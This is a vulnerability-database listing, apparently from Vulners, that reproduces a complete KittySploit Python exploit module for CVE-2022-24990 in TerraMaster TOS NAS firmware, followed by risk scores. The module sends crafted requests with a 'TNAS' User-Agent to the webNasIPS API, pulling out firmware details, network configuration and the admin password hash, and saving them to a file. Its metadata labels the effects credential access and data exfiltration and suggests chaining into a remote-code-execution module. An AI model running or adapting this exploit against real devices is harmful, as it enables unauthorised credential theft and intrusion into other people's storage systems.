Lucene search
+L

TerraMaster TOS Info Disclosure (CVE-2022-24990)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

TNAS User-Agent on TerraMaster TOS leaks firmware, network config, and admin password hash.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TerraMaster TOS webNasIPS info disclosure (CVE-2022-24990)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'TerraMaster TOS Info Disclosure (CVE-2022-24990)',
        'description': (
            'Exploits CVE-2022-24990 in TerraMaster TOS <4.2.30: User-Agent TNAS on '
            'webNasIPS leaks firmware, network config, and admin password hash (PWD).'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2022-24990'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2022-24990'],
        'tags': ['terramaster', 'nas', 'info-leak', 'credential-leak', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'tech_hints'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/cve_2022_24990_detect',
                    'exploits/linux/http/terramaster_cve_2020_28187_rce',
                ],
            },
        },
    }

    output_file = OptString('', 'Save leak output locally', required=False)

    def _fetch(self, path: str) -> str:
        r = self.http_request(
            method='GET',
            path=path,
            headers={'User-Agent': 'TNAS'},
            allow_redirects=False,
        )
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        for path in ('/module/api.php?mobile/webNasIPS', '/module/api.php?mobile/wapNasIPS'):
            body = self._fetch(path)
            if re.search(r'(PWD:|firmware|webNasIPS successful)', body or '', re.I):
                return {'vulnerable': True, 'reason': f'TerraMaster leak via {path}', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'webNasIPS leak failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('TerraMaster TOS not vulnerable')
            return False
        body = ''
        for path in ('/module/api.php?mobile/webNasIPS', '/module/api.php?mobile/wapNasIPS'):
            chunk = self._fetch(path)
            if chunk:
                print_success(f'{path} — {len(chunk)} bytes')
                print_status(chunk[:3000])
                body = chunk
        out = str(self.output_file or '').strip()
        if out and body:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
        return bool(body)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.6High risk
Vulners AI Score8.6
CVSS 3.17.5 - 9.8
EPSS0.83166
SSVC
1